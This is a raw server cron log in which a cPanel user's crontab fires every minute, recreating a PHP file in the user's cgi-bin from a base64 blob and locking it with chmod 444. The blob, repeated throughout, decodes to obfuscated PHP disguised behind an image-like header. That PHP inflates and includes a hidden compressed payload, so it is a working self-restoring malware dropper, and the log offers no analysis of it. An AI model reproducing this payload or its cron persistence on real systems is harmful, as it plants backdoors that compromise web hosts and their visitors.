Nov 16 00:34:01 server CROND[14903]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:35:01 server CROND[15172]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 00:35:01 server CROND[15174]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 16 00:35:01 server CROND[15175]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 00:35:01 server CROND[15176]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 16 00:35:01 server CROND[15177]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:36:01 server CROND[15517]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:37:01 server CROND[15880]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:38:01 server CROND[16146]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:39:01 server CROND[16394]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:39:01 server CROND[16395]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 16 00:40:01 server CROND[16660]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 00:40:01 server CROND[16661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 00:40:01 server CROND[16662]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 00:40:01 server CROND[16663]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:41:01 server CROND[16979]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:42:01 server CROND[17342]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:42:01 server CROND[17343]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 16 00:43:01 server CROND[17615]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:44:01 server CROND[17880]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:45:01 server CROND[18150]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:45:01 server CROND[18151]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 00:45:01 server CROND[18152]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 00:46:01 server CROND[18446]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
